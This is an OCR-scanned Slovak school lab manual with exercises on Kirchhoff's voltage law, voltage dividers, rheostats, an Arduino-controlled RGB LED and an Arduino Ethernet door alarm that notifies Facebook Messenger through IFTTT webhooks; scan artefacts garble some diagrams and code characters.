U=Ugr1+Ur2+Ugs.

Vypocet napati Ur1, Urz,Urs :
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URZ— ..........................
UR3— ..........................
URr1 Ur2 Urs
f { }
URI= coreieeenenee,
R1 R2 R3 R
U + 3k3 4k7 6k8
12V @
Uri1 Ur2 Urs
’ 1 Urem e,
R R2 R3
U + 3k3 4Kk7 6k8
12V @
Uri Ur2 Ura
:] U -
R3= teeeecccsccannne
R R Rj

u | 3k3 4k7 6k8
ev| &

Meranie napati na stavebnici.

Spocitanie nameranych Ubytkov napati, overenie platnosti 2.K.Z. :
Predpoklad: Uri+ Ugr2+ Ugrs=U =12V

Vypocet: Uri+ Ur2 + Urs =

Porovnanie vypocitanych a nameranych hodn6ét.

Otazky a ulohy na zamyslenie

1) Ako ovplyviiuje obvod polarita zapojeného zdroja?
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Odporucané zdroje

[1] Kirchhoffove zakony - https://sk.wikipedia.org/wiki/Kirchhoffove z%C3%Alkony

[2] Fzyika : Kirchhoffove zakony -

http://kf-lin.elf.stuba.sk/~ballo/STU online/Fyzika%20I1/9%20kapitola/elPrud1-5.htm
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CVICENIE S14-CV1: Deli¢ napitia

Kfucoveé slova
deli¢ napéatia, meranie napétia
Vystup cvicenia

Schopnost samostatného merania napatia v réznych c¢astiach jednoduchého elektronického obvodu.
Osvojenie zakladnychdiagnostickych pristupov.

Ziskané vedomosti a skusenosti

Absolvovanim cvicenia sa naudite:

B ako merat napétie v obvode,

B osvojite si zakladné diagnostické pristupy pri rieSeni problémov,

B spoznate rozdiel ako vplyva sériové a paralelné zapojenie na napatie v jednotlivych castiach
obvodu.

VyZadované technické pomocky

Pre Uspesnu realizaciu cvicenia budete potrebovat tieto pomédcky:

B rezistory 1k, 3k3, 4k7, 10k,
B napéatovy zdroj 12V,

B prepojovacie vodice,

B voltmeter.

Prerekvizity znalosti
Nie su vyZadované Ziadne Specialne znalosti.
Odporuacany priebeh vyucby

Cvicenie odporuc¢ame realizovat nasledujdcim postupom:

1) Obijasnit studentom, aky koncept sa bude pocas cvicenia preberat, aké je jeho vyuzitie a dblezitost
Vv praxi.

2) Studentom vysvetlite zakladny koncept deli¢a napitia.

1) Studenti budl pracovat samostatne, vytvérat deli¢ napatia a merat napétie v jednotlivych ¢astiach
obvodu.
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Teoreticky Uvod

iIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII;

= POZNAMKA!

iIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII

= Podrobnosti o deli¢i napatia, aktivnych a pasivnych suciastkach néjdete v kapitolach 4.3 a 4.4..
= Doplriujuce informacie ziskate aj na odkazoch uvedenych na konci cvicenia.

SpEEEEEEEEEEER

Realizacia cvicenia

Uloha 1:
Aké bude vystupné napétie U2, ak je deli¢ napéatia nezatazeny a aké bude po zatazeni deli¢a rezistorom
R3=3k3? Vypocditajte, zapojte a odmerajte na stavebnici.

NezataZeny deli¢ napatia, vypocet Ua: ................

R4
Ui+ 1k

12V @ E—O

4k7 2

Zakladna schéma zapojenia deli¢a napatia.
Zatazeny deli¢ napatia, vypocet Uz ................

R1
1k

12V @

R, Rj
4K7 luz 3k3

Schéma pre zatazeny deli¢ napitia.
Nezatazeny deli¢ napéatia, meranie Uz na stavebnici: ................
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Uql+ 1k

12V @

U»

X 7
~N o
0 =

!

Schéma pre nezataZeny deli¢ napitia.
Zatazeny deli¢ napatia, meranie U; na stavebnici: ................

1
R

U, 1k

12V @ RZI

3k3

O = O
C
N
A
w

i

Schéma pre meranie napitia na zatazenom deliéi napitia.

Uloha 2
V akom rozsahu sa bude menit napatie U,, ak sa bude beZec potenciometra pohybovat z jednej
krajnej polohy do druhej? Vypocditajte, zapojte a odmerajte na stavebnici.

1
R1
Uql+ 10k
12V @
R //_O
10k »/ \Luz
o

Schéma zapojenia pre meranie s potenciometrom
BeZec potenciometra je v prvej krajnej polohe, je pripojeny na zem napajacieho zdroja, urcte:
U2MIN: ceeeeeneeene.
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L
R4
UL+ 10k
12V @ I
R>
10k luzmm

O

Potenciometer v prvej krajnej polohe

BeZec potenciometra je v druhej krajnej polohe. Rezistor R1 a odpor drahy potenciometra Rz
tvoria deli¢ napatia. Vypocitajte: Uamax @ «oovevvveeeennn.

1
R1
Uyl 10k
12V @ I_‘_Q
R2
10k LUZMAX
-

Potenciometer v druhej krajnej polohe

Zapojte na stavebnici obvod podla obrdzka. Otacajte beZicom potenciometra z jednej krajnej
polohy do druhej. Odmerajte maximdlne a minimalne napatie U..

U2MIN = e,
U2MAX = cevveeeeeinnnns
1
R1
Uyl 10k
12V @ I
R2
10k/ \LUZ
o o

Schéma merania s potenciometrom
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Otazky a ulohy na zamyslenie

1. Ma nejaky vplyv na obvod zmena polarity napdajacieho zdroja?
2. Aky ma vplyv na napaétie skratovanie jedného z niekolkych pripojenych rezistorov?

Odporucané zdroje

[1] Voltage divider - https://en.wikipedia.org/wiki/Voltage divider
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CVICENIE S15-CV1: Ovladanie vystupného napitia

Kfucoveé slova
napatie, prud, skrat, rozpojeny obvod, paralelné zapojenie, sériové zapojenie
Vystup cvicenia

Schopnost samostatného merania napatia a pradu v rdéznych ¢astiach jednoduchého elektronického
obvodu. Zakladné diagnostické pristupy.

Ziskané vedomosti a skusenosti

Absolvovanim cvicenia sa naudite:

B ako merat napétie a prud v obvode,

B osvojite si zakladné diagnostické pristupy pri rieSeni problémov,

B  spoznate rozdiel, ako vplyva sériové a paralelné zapojenie na napétie v jednotlivych castiach
obvodu.

VyZadované technické pomocky

Pre Uspesnu realizaciu cvicenia budete potrebovat tieto pomédcky:

rezistorylk, 3k3, 10k, 22k,
napatovy zdroj 12V,
prepojovacie vodice,
voltmeter,

ampérmeter.

Prerekvizity znalosti

Pre Uspesnu realizaciu cvicenia budete potrebovat tieto znalosti:

B  ohmov zakon,
B zaklady merania prudu a napétia v elektronickych obvodoch.

Odporuacany priebeh vyucby

Cvicenie odporucame realizovat nasledujdcim postupom:

1) Obijasnit studentom, aky koncept sa bude pocas cvicenia preberat, aké je jeho vyuzitie a dblezitost
Vv praxi.

2) Studentom vysvetlite zakladny koncept paralelného a sérioveho zapojenia rezistorov.

3) Studenti budy pracovat samostatne, vytvarat zapojenia podla predloienych schém a merat
napatie a prud v jednotlivych castiach obvodu.
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Teoreticky Uvod

Jednou z velmi ¢asto pouzivanych pasivnych suciastok su potenciometer a reostat. Zjednodusene
povedané ide o rezistor, ktorého odpor dokdzeme manudlne regulovat. V praxi su tieto suciastky
pouzivané v zariadeniach, kde je potrebné regulovat Grover napatia, alebo pridu. V tomto cviceni si
overime teoreticky koncept fungovania reostatu.

JIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII.

= POZNAMKA!
iIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII

= Podrobnosti o delii napatia, aktivnych a pasivnych suciastkach ndjdete v kapitolach 4.3 a 4.4,
= alebo na konci cvicenia pod uvedenymi odkazmi.

[N ]
Sy pEEEEEEEEEER

Realizacia cvicenia

Uloha

V akom rozsahu sa bude menit priad teélci obvodom, ak sa beZec potenciometra (zapojeného ako
reostat) bude pohybovat z jednej krajnej polohy do druhej? Vypocditajte, zapojte a odmerajte na
stavebnici.

I

— >

R1

1k

Uql+
12V | (=

o .k

10k/
—

Zakladna schéma zapojenia
BeZec reostatu je v prvej krajnej polohe, prud pretekd celou odporovou drahou reostatu.
Vypocditajte Imin: «.ooevvveeeennn.
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SO

BeZec reostatu v prvej polohe
BeZec reostatu je v druhej krajnej polohe, prud obchadza odporovu drahu reostatu (R2=0).
Vypocditajte Imax: cooeeeeeernnnee.

Imax

R4

Uyl 1K
e

R2

10k

Bezec reostatu v druhej polohe
Zapojte na stavebnici obvod podla obrazka. Otacajte bezcom reostatu z jednej krajnej polohy
do druhej. Odmerajte maximalny a minimalny prud tecdci obvodom:

|MAX= .................
)
O/ L
R4
1k
Uq|+
12V —
l'e s
10k |/
4
’

Schéma zapojenia pre meranie priudu
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Uloha 2
Zapojte obvod, ktory bude stlacenie tlacidla transformovat na urcitd hodnotu napatia. Aké napatie bude

na vystupe, ak nie je stlacené Ziadne tlacidlo? Aké bude po stlaceni tlacidla S1, aké napétie na vystupe
bude po stlaceni tlacidla S2 a aké napétie bude na vystupe, ak budu tlacidla S1 a S2 stladené sucasne?
Vypocitajte, zapojte na stavebnici a odmerajte.

R 1 R,
1k 3k3
U1 +
s, L s,
12V @ 1T 2
O
R3 Uo
10k
O

Zakladna schema zapojenia
Pomerajte vystupné napatie Uy, ak nie je stlaéené Ziadne tlacidlo. Uz = .................

R 1 Ro2
1k 3k3
Uq |+
12V @
| 0
R3 Us

10k

O

Nahradna schéma pre odpojené tlacidla
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Pomerajte vystupné napatie Uy, ak, je stlacené tlacidlo Si. Vypocitajte vystupné napatie Ua:

R4 R2
1k 3k3
Uq |+
12V
O
R3 Uo
10k
O

Ndahradna schéma pre zapojené tlacidlo S1
Pomerajte vystupné napatie Uy, ak, Je stlaCené tlacidlo S,. Vypocitajte vystupné napatie Ua:

R4 R
1k 3k3
Uq |+
12V @
| O
R3 Us

10k

O

Nahradna schéma pre zapojené tlacidlo S2
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Pomerajte vystupné napatie Uy, ak, sucCasne su stlacené tlacidla S1 a S,. Vypocitajte vystupné
napatie Uz: coovvveenennn.

R4 Ro
1k 3k3
Uq |+
S
0
R3 U 2
10k
0
Nahradna schéma pre zapojené tlacidlo S1 a S2
Zapojte obvod na stavebnici. Odmerajte vystupné napatie Uz: ........cc.......
S1a Sy nie su stlacené: U= i \Y
Je stlacdené tlacidlo S; : U= i \Y
Je stlacdené tlacidlo S : U= i \Y
Sucasne su stlacené tlacidla S1 a Sz: U= i, Vv
R 1 R
1k 3k3
Uq |+
o Si | s, |-
12V — T
SIRo
10k

Schéma merania
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Uloha 3
Aké napatie U2 ziskame na vystupe obvodu, ak bude prepinac P v polohe 1 a aké napatie bude

na vystupe v pripade, Ze prepina¢ prepneme do polohy 2? Vypocitajte, zapojte na stavebnici a
odmerajte.

_OP/1 R
3k3
2
R2
1k

ST, -

U2

[N
xm
w
-

*—|
o

Schéma zapojenia

Uloha 4
Uréte hodnoty odporov rezistorov R1 a R3 tak, aby bolo moZné nastavovat vystupné napatie U2

v rozsahu od 1V do 11V. Zapojte na stavebnici a overte funkénost meranim.

R1
Ve R |
12V 10k/
| Us
R3
. o

Schéma zapojenia
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Uloha 5
Vypocitajte hodnotu vystupného napatia U2. Obvod potom zapojte na stavebnici a odmerané
napatie porovnajte s vypoctom.

Schéma zapojenia

Otazky a ulohy na zamyslenie

1) Ako velmi sa odlisovali teoretické hodnoty od nameranych?
2) Ako je mozné predikovat rozsahy odchylok vypocitanych hodndét od realnych?
3) Aky maju vplyv tolerancie suciastok na rozdiel medzi vypocitanou a nameranou hodnotou?

Odporucané zdroje

[1] Ohmov zdkon - https://sk.wikipedia.org/wiki/Ohmov z%C3%Alkon

[2] Cvicenia z elektrotechniky | - Stredna odborna skola technicka -
https://sostrv.edupage.org/files/Cvicenia z ELE | 1 ..pdf
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CVICENIE S16-CV1: Dekoraéné osvetlenie

Kfdcové slova

LED, riadenie, Arduino, Ohmov zakon

Vystup cvicenia

Vytvorenie jednoduchého riadiaceho systému pre ovladanie farby LED osvetlenia.

Ziskané vedomosti a skusenosti

Absolvovanim cvic¢enia sa naudite:

B navrhnut a realizovat elektronicky obvod riadeny Arduinom,
B prakticky aplikovat zakladné poznatky programovania Arduina, Ohmov zakon.

VyZadované technické pomocky

Pre Uspesnu realizaciu cvicenia budete potrebovat tieto pomédcky:

Arduino,

textovy editor (alebo iné IDE),
rezistory 100R, 150R,
ponteciometer 10k,

RGB LED,

napajaci zdroj.

Prerekvizity znalosti

Pre Uspesnu realizaciu cvicenia budete potrebovat tieto znalosti:

B zaklady elektrotechniky,
B zaklady programovania Arduina.

Odporuacany priebeh vyucby

Cvicenie odporucame realizovat nasledujdcim postupom:

1) Obijasnit Studentom, aky koncept sa bude pocas cvi¢enia preberat. Aké je jeho vyuZitie a dblezitost
Vv praxi.

2) Studentom vysvetlite ddleZitost prepojanie jednotlivych znalosti pri vytvarani komplexnych
rieSeni na redlne technické problémy.

3) V spolupraci so Studentmi navrhnite hardvérovd dast. Konzultujte pripadné problémy
a komplikacie.

4) V spolupraci so Studentmi navrhnite softvérovd cast.Konzultujte pripadné problémy
a komplikacie.

5) Rozdelte studentov do mensich skupin (idedlne po 2).
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6) Analyzujte zadanie.
7) Navrhnite hardvérovu cCast.
8) Navrhnite softvérovu cast.

Teoreticky Uvod

» POZNAMKA!

= Podrobnosti k tomuto cvic¢eniu najdete v kapitole 4.3-4.8.

Realizacia cvicenia
Uloha:

Planujete si vytvorit do svojej izby malé dekoracné osvetlenie z jednej, alebo viacerych RGB LED, ktoré
umozfiuje nastavenie farby svetla podla Vasej nalady. Farbu svetla mézete nastavovat napriklad
potenciometrom.

Hardvérova éast:

Pre prvé pokusy bude postacovat jedna RGB LED so spolo¢nou katddou, ktori mébzete pripojit cez
rezistory R1, R2, R3 na PWM vystupy vyvojovej dosky Arduino - piny 9, 10, 11. Vystup potenciometra P je
potrebné zapojit na analégovy vstup AO dosky Arduino.

Ry 150 Q
5Wo— —— o (~9)
R2 150 Q
— 5 (~10)
R3 100 Q U
(RO) O—ﬂ\P —{  }—o(~11) \u, |1
Rl G| B Us
Up VARV
10k R R\ R
GND © o

RGB LED

Schéma zapojenia
Softvérova Cast:

Analdgové napatie UP z vystupu potenciometra je privadzané na analégovy vstup AO. Po konverzii
analégového napatia AD prevodnikom nam funkcia analogRead() vrati hodnotu z rozsahu od 0 do 1023,
¢o zodpoveda rozsahu vstupného napétia UP od 0 do 5V.
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Program je pomocou podmienok rozvetveny na Sest vetiev na zaklade napatia UP ako je definované
v nasledujucej tabulke comu zodpoveda aj nastavenie striedy PWM signdalov na vystupoch, ku ktorym su

pripojené LED.

Interval hodnét UP | rozsah AD Cervend LED - | Zelena LED - | Modréa LED -
V) prevodnika strieda PWM strieda PWM strieda PWM
<0-0,84) 0-170 100% 0% -100% | 0%
<0,84-1,67) |171-341 100% - 0% | 100% 0%
<1,67-25) 342 - 512 0% 100% 0% - 100%
<25-3,34) 513 - 683 0% 100% - 0% | 100%
<3,34-4,18) |684-854 0% -100% | 0% 100%
<4,18-5> 8565 - 1023 100% 0% -100% | 100%

Uroveii napiti a hodnoty prevodnikov pre RGB LED
Ak postupne otdcame hriadelom potenciometra a zvySujeme napétie UP na vystupe potenciometra od
0V do 0,84V, funkcia analogRead() ndm vracia postupne hodnoty od 0 do 170. V tomto intervale hodn6t
je cervend LED rozsvietena naplno, modra LED nesvieti, zelena LED sa postupne rozsvecuje s ndrastom
napatia UP a vysledna farba RGB LED prechadza postupne z Cervenej do Zltej.

Ak budeme pokracovat v otacani hriadela potenciometra dalej, tak prejdeme do dalsej vetvy programu,
ktora sa vykondva pre napétie UP v rozsahu od 0,84V do 1,67V. V tejto vetve svieti zelend LED plnym
jasom, modra nesvieti a ¢ervena LED s narastom napatia UP postupne zniZuje intenzitu svietenia
prostrednictvom zniZzovania striedy PWM az nakoniec Uplne prestane svietit.

Pocas vykonavania tejto vetvy programu sa vysledna farba RGB LED meni postupne zo Zltej na zelend.
Podobne by sme mohli opisat aj ostatné vetvy programu. Nastavenie striedy PWM napétia na vystupoch
9, 10 a 11 sa realizuje na konci programu prostrednictvom prikazov analogWrite().

Zdrojovy kod:

const int red LED = 9; //&ervend LED pripojen&d na pin &.9
const int green LED = 10; //zelend LED pripojend na pin &.10
const int blue LED = 11; //modra LED pripojend na pin &.11
const int analog_input = A0Q; //potenciometer pripojeny na analdgovy

vstup A0

//premennd na uloZenie hodnoty z analbégového vstupu
int value = 0;

//premennd na nastavenie PWM vystupu pre &ervenu LED
int red PWM = 0;

//premennd na nastavenie PWM vystupu pre zelenu LED
int green PWM = 0;

//premennd na nastavenie PWM vystupu pre modru LED
int blue PWM = 0;
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void setup () {

pinMode (red LED,OUTPUT) ; //nastavenie pinov ako vystupy
pinMode (green_LED,OUTPUT) ;

pinMode (blue_LED,OUTPUT) ;

}

void loop() {
//na&itanie hodnoty z analbégového vstupu kde je
//pripojeny potenciometer

value = analogRead(analog_input);

if (value<171){

//&ervend svieti plnym jasom
//postupne zvysujeme jas zelenej
//modra je zhasnutéa

red PWM = 255;

green_PWM = value*1.5;

blue PWM = 0;

}

else if(value >= 171 && value < 342) {
//postupne zniZujeme jas &ervenej
//zelenad svieti plnym jasom
//modra je zhasnutéa
red PWM = (341 - value)*1.5;
green_PWM = 255;
blue PWM = 0; }

else if(value >= 342 && value < 513){
//&ervenid je zhasnutéi
//zelenad svieti plnym jasom
//postupne zvysujeme jas modrej
red PWM = 0;
green_PWM = 255;
blue PWM = (value - 342)*1.5; }

else if(value >= 513 && value < 684) {
//&ervenid je zhasnutéi
//postupne zniZujeme jas zelenej
//modra svieti plnym jasom
red PWM = 0;
green_PWM = (683 - value)*1.5;
blue PWM = 255; }

else if(value >= 684 && value < 855) {
//postupne zvysujeme jas &ervenej
//zelend je zhasnuta
//modra svieti plnym jasom
red PWM = (value - 684)*1.5;
green_PWM = 0;
blue PWM = 255; }

else {
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//&ervend svieti plnym jasom
//postupne zvysujeme jas zelenej
//modra svieti plnym jasom

red PWM = 255;
green_PWM = (value - 855)*1.5;
blue PWM = 255; }

//nastavenie striedy na PWM vystupoch
analogWrite (red_LED, red PWM);
analogWrite (green_LED, green_PWM) ;

analogWrite (blue LED, blue_PWM) ;
}

Otazky a ulohy na zamyslenie

1) Ako by bolo mozné automaticky menit farbu LED podla dennej doby (¢asu)?
2) Ako by sa zmenila schéma pri zapojeni viac rovnakych LED?

Odporucané zdroje

[1] Light-emitting diode - https://en.wikipedia.org/wiki/Light-emitting diode

[2] Arduino Lesson 3. RGB LEDs —

https://cdn-learn.adafruit.com/downloads/pdf/adafruit-arduino-lesson-3-rgb-leds.pdf
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CVICENIE S17-CV1: Poplasné IoT zariadenia (Arduino)

Kfdéové slova

IFTTT, HTTP ziadost, poplasné zariadenie, Facebook messanger, Ardunio, Ethernet shield, notifikacie
Vystup cvicenia

S pomocou mikrokontroléra Arduino Uno s ethernetovym shieldom zhotovenie poplasného zariadenia,
ktoré bude snimat otvorenie dveri (napriklad do detskej izby). V pripade otvoreniaodosle Arduino
informaciu do cloud rozhrania, ktoré ju preposle do Facebook Messengera.

Ziskané vedomosti a skusenosti

Absolvovanim cvicenia sa naudite:

ako vytvorit elektronicky snimac otvorenia dveri s Arduinom,

ako pripojit elektronické zariadenia s Arduinom do siete internet,
akoodosielat zosnimané Gdaje do cloud rozhrania,

ako odoslat informacie z cloudu do koncového zariadenia (napr. smartfén).

VyZadované technické pomocky

Pre Uspesnu realizaciu cvicenia budete potrebovat tieto pomédcky:

Arduino UNO,

ethernet shield pre Arduino,

sietovy kabel s RJ45,

prepojovacie vodice,

alobal,

noznice,

lepiaca paska,

smartfén s mobilnou aplikaciou Facebook messanger,
Facebookovy pouzivatelsky ucet,

pouzivatelsky ucet v cloud zorhrani IFTTT.

Prerekvizity znalosti

Pre Uspesnu realizaciu cvicenia budete potrebovat tieto znalosti:

B zaklady zapojenia elektronickych obvodov s doskami Arduino,
B zaklady sietovej komunikacie v sietiach TCP/IP,
B zaklady webovej komunikacie (HTTP protokol).

Odporuacany priebeh vyucby

Cvicenie odporucame realizovat nasledujdcim postupom:
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1) Obijasnit Studentom, aky systém sa bude pocas cvienia navrhovat, aké je jeho vyuZitie v praxi,
z akych komponentov sa bude skladat.

2) Popisat postup realizacie zariadenia od fazy navrhu az po jeho oZivenie a testovanie.

3) Rozdelit cely postup realizacie do jednotlivych faz.

4) Pombct studentom s realizaciou a testovanim jednotlivych faz.

5) Zrealizovat kratky blok prezentacii vytvorenych rieseni.

6) Zaverecna diskusiu alebo pisomny protokol o absolvovanom cviceni.

Cvicenie obsahuje elektronickd a softvérovu ¢ast. Pre urychlenie vyvoja celého riesenia je mozné, aby
Studenti pracovali v skupinach, kde si rozdelia ulohy.

Fazy realizacie cvicenia

1) Vykonajte obhliadku miesta fyzickej instalacie poplasného zariadenia a navrhnite presné miesto
a sposob instalacie poplasného zariadenia.

2) Navrhnite elektronické zapojenie obvodu poplasného zariadenia.

3) Navrhnite zdrojovy kdd riadiaci poplasné zariadenie.

4) Otestujte funkénost poplasného zariadenia off-line (bez pripojenia do internetu).

5) Navrhnite a vytvorte applet v cloud rozhrani IFTTT pre odosielanie sprav do facebook messangera.
Navrh informacnej spravy, ktord bude odosielat poplasné zariadenie a pripojenie Arduina do siete
internet.

6) Odoslanie testovacej spravy z Arduina do IFTTT rozhrania.

7) Konecna faza kompletného riesenia.

8) Zaverelna prezentacia vysledkov cvicenia.

Teoreticky Uvod

Princip zjednoduseného poplasného zariadenia spociva v neustalom kontrolovani, ¢i su dvere do izby
zatvorené. V pripade, Ze sa otvoria, mikropocita¢ deteguje prerusenie elektronického obvodu a zavola
prostrednictvom HTTP protokolu URL cez Webhook API na serveri IFTTT. Ten nasledne odosle spravu cez
Facebook Messenger do koncového zariadenia, napriklad smartfénu.

Arduino nema vlastny operacny systém nativne podporujuci sietové TCP/IP spojenia ani webovy
prehliadac, ktory za neho vytvori HTTP hlavicku. Preto je nutné vytvorit spojenie aj HTTP dotaz ruéne. Z
toho dévodu bude riadiaci program obsahovat kdd, ktory oSetruje tato funkcionalitu. V praxi by bolo
vhodné pouzit existujice komunitou vytvorené kniznice, ktoré ponukaju odladent a optimalizovanu
funkcionalitu pre komunikaciu v sietiach TCP/IP.

HTTP dotaz vyzera nasledovne a v nasom pripade je nutné ju poslat na HTTP server IFTTT.
<<metoda>><<URL dokumentu>><<verzia HTTP>>

<<nazov hlavicky>>: <<hodnota>>

<<nazov hlavicéky>>: <<hodnota>>

<<préazdny riadok>>
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Konkrétne by dotaz na wikipédiu vyzeral nasledovne:

GET /wiki/Wikipedie HTTP/1.1 \r\n

Host: cs.wikipedia.org \r\n

User-Agent: Opera/9.80 (Windows NT 5.1; U; cs) \r\n
Accept-Charset: UTF-8,* \r\n

\r\n
Realizacia cvicenia

1) Predpokladajme, Ze poplasné zariadenie chceme nainstalovat na zarubru dveri do miestnosti.
Vykoname obhliadku mozZnosti a navrhneme najlepsie miesto pre buducu instalaciu.

ju g ‘ SN

/_

2) Najprv potrebujeme prepojit Arduino Uno s Ethernet shieldom:

Vytvorime jednoduchy elektronicky obvod, ktory bude v pripade zatvorenych dveri uzavrety a bude nim
tiect prud.

V pripade otvorenych dveri bude obvod preruseny. Z alobalu si odtrhneme dva pruzky v rozmeroch cca
3x15cm. Dva dlhsie vodice si na koncoch odizolujeme a kazdy vodic prilepime lepiacou paskou k prazku
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alobalu tak, aby vzniklo vodivé spojenie. Pruzky poskladame do Stvorcov o rozmere 3x3cm. Tieto Stvorce
prilepime k zarubni dveri lepiacou paskou vo vzdialenosti cca 5 cm tak, aby paska neprekryvala celé
Stvorce, ale len ich polovicu. Na obrazku ich vidime ako zelené a oranzové plochy na zarubni.

Vodice pripojime do Arduina tak, Ze jeden vodic ide na pin GND a druhy na pin 8. Na ich poradi tentoraz

nezalezi.

Nasledne si odstrihneme z alobalu Stvorec o rozmeroch cca 12x12cm a dvakrat ho prehneme, ¢im
vznikne obdiZnik s rozmermi 3x12cm. Tento obdlZnik nalepime na dvere tak, aby pri zatvoreni tplne
prekryval alobaly na zarubni. Na obrazku priazok na dverach vidime znazorneny modrou farbou. Lepiacu
pasku nalepime tak, aby sa alobaly na zarubni a dverach mohli vodivo dotykat a paska ich navzajom

neprekryvala.

3) Priklad zdrojového kddu riadiacej aplikacie:

1)
2)
3)
4)
5)
6)
7)
8)
9)
10)
11)
12)
13)
14)
15)
16)
17)
18)
19)
20)
21)

#include <SPI.h>
#include <Ethernet.h>

//MAC adresa Arduina
byte mojaMAC][] = { 0xDE, OxAD, OxBE, OXEF, OxFE, OXED };

//Nahradna IP adresa v pripade zlyhania DHCP
IPAddress mojalP(192, 168, 1, 25);

//vytvorenie premennej (objektu) pre uchovanie parametrov sietoveho spojenia
EthernetClient client;

//adresa servera IFTTT
char server[] = "maker.ifttt.com";

void setup() {
// vytvorime si premennu pre zistenie, ci sa nacitala adresa

boolean stavlP;

// zapneme seriovy port pre ladiace vypisy
Serial.begin(9600);
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22)

23) //pockame sekundu pre ustalenie elektronickych obvodov

24) delay(1000);

25)

26) //nacitame IP parametre na Arduino cez DHCP

27) stavlP = Ethernet.begin(mojaMAC);

28)

29) //ak sa nepodarilo nacitat IP parametre cez DHCP, nastavime adresy manualne
30) if (stavlP == false)

31)  Ethernet.begin(mojaMAC, mojalP);

32)

33) // nasleduje vypis ladiacich hlasok

34) Serial.print("IP addresa Arduina (nepodstatne): ");

35) Serial.printin(Ethernet.locallP());

36) Serial.print("IP addresa DNS Servera (nepodstatne): ");
37) Serial.printin(Ethernet.dnsServerlIP());

38)

39) //nastavime pin 8 ako vstupny v rezime s pullup rezistorom
40) pinMode(8, INPUT_PULLUP);
41) }

43) void loop() {
44) [/vytvorenie premennej pre zistenie stavu otvorenia dveri
45) int dvere;

47) //ak existuju data nacitane z weboveho servera, postupne
48) //ich nacitavaj a vypisuj cez serial monitor (ladiaci vypis)

49) if (client.available()) {
50) char c=client.read();
51)  Serial.write(c);

52) }

53)

54) //nacitame stav otvorenia dveri, ktorych snimac je na pine 8
55) dvere = digitalRead(8);

57) //ak sa dvere otvorili, posleme HTTP dotaz na IFTTT sluzbu
58) if (dvere == HIGH) {

59) httpDotaz();

60) 1}

62) // ak su dvere este stale otvorene, tak program drzime v
63) // cakacej slucke az do opatovneho zatvorenia dveri

64) while (digitalRead(8) == HIGH) {
65) }

66)

67) }

68)

69) //definovanie funkcie httpDotaz
70) void httpDotaz() {

71)

72) //ukoncime predosle spojenia
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73)

client.stop();

74)

75) //pripojenie na server na port 80 (HTTP)

76) if (client.connect(server, 80)) {

77)

78)  //vypisanie hlasky pre ladenie

79)  Serial.printin("connecting...");

80)

81) //odoslanie hlavicky HTTP dotazu na IFTTT server

82) //nezabudnite upravit kluc (podciarknute) podla vasho, ktory najdete
83) //nastranke IFTTT po vyhladani sluzby Webhooks a zobrazeni dokumentacie
84)  client.printin("GET /trigger/Alarm/with/key/eqZAdcRcYHoPuff11qWc4-90 HTTP/1.1");
85) client.print("Host: ");

86) client.printin(server);

87) client.printIn("User-Agent: arduino-ethernet");

88) client.printIn("Connection: close");

89) client.printin();

90) }

91)

92) // chybova hlaska v pripade neuspesneho spojenia

93) else{

94)  Serial.printIn("spojenie neuspesne!");

95) '}

96) }

4) Program je potrebné nahrat na dosku Arduino. Pre Ucely testovania je mozZne spravy vypisovat do
terminalu Arduino Studia. Po odladeni je mozné pripojit sietovy kabel do Ethernet shieldu a
nasledne cely systém otestovat na jeho funkénost aj online.

5) Vytvorime si IFTTT pravidlo, ktoré nam odosle spravu na Facebook Messenger, ak sa otvoria
dvere v izbe:
a.

Po prihlaseni do sluzby IFTTT (pozri predchadzajlce cvicenie) vytvorime novy applet a ako
trigger vyberieme sluzbu Webhooks. Ak v sluzbe Webhooks zatial nie sme zaregistrovani,
klikneme na tladidlo Connect. Nasledne vyberieme moznost, ktord spusti applet po
vyvolani Specidlnej URL - Receive a web request.

Akcii pre otvorenie dveri priradime nazov Alarm.

Ako odpoved na spusta¢ chceme odoslat spravu cez Facebook Messenger. Vyhladame
teda tuto sluzbu a prepojime nas IFTTT ucet s Messengerom. Nasledne vyberieme ako
akciu mozZnost Send message a ukoncime vytvaranie akcie.

Predposlednym krokom je doplnenie spravy, ktord ndm ma sluzba IFTTT dorudit na
Facebook Messenger. MbZeme si napisat vlastni spravu a do nej napriklad vlozit ¢as
vyvolania triggera, pripadne len uviest hlasku “Boli otvorené dvere do izby!” a klikneme
na Create action.
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e. Zadame popis appletu, ktory sa zobrazi na Uvodnej stranke a applet je hotovy.

6) Otestovanie funkcnosti poplasného zariadenia, prepojenia s cloud rozhranim a odosielania sprav
do faceboo messangera.

7) Otestujte vytvorené riesenie Ulohy. Najdite slabé miesto a skiste najst spdsob, ako prekonat
toto zariadenie, aby neodhalilo prienik do miestnosti.

Prezentdcia

Kazda skupina by mala na zaver hodiny odprezentovat svoj vystup. S ohladom na ¢asové a technické
obmedzenia je vhodné nastavit limit prezentacie na 1 powerpointovy slide a 90 sekund. Ulohou skupiny
je vybrat to najpodstatnejsie z ich prace a odprezentovat to. Casovy a priestorovy tlak nuti $tudentov
kriticky premyslat nad vyberom délezitych parametrov a informacii, ktoré budd publikované.

Studentom mézete odporudit nasledujtce tipy pre prezentaciu:

B odlisnost od konkurencie,
B navrhnuté a zrealizované Specifické funkcie,
B  moznost dalsieho rozsirenia poplasného zariadenia.

Otazky a ulohy na zamyslenie

1) Ako poplasné zariadenie rozliSuje opravneny vstup od neopravneného?

2) Akym spbsobom je moziné prekonat navrhnuté poplasné zariadenie, aby nespustilo alarm pri
vstupe do miestnosti?

3) Akym spdsobom by sa dalo zariadenie chranit pred neopravnenym vyradenim z prevadzky?

4) Aké nové vlastnosti by mohlo mat poplasné zariadenie, aby ziskalo konkurenént vyhodu oproti
inym zariadeniam prezentovanym v triede.

Odporucané zdroje

[1] IFTT Getting Started —

https://help.ifttt.com/hc/en-us/categories/115001566148-Getting-Started

[2] HTTP request - https://www.tutorialspoint.com/http/http requests.htm

[3] Arduino Ethernet - https://www.arduino.cc/en/Reference/Ethernet
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CVICENIE S17-CV2: Poplasné loT zariadenia (Raspberry PI)

Kfd¢ové slova
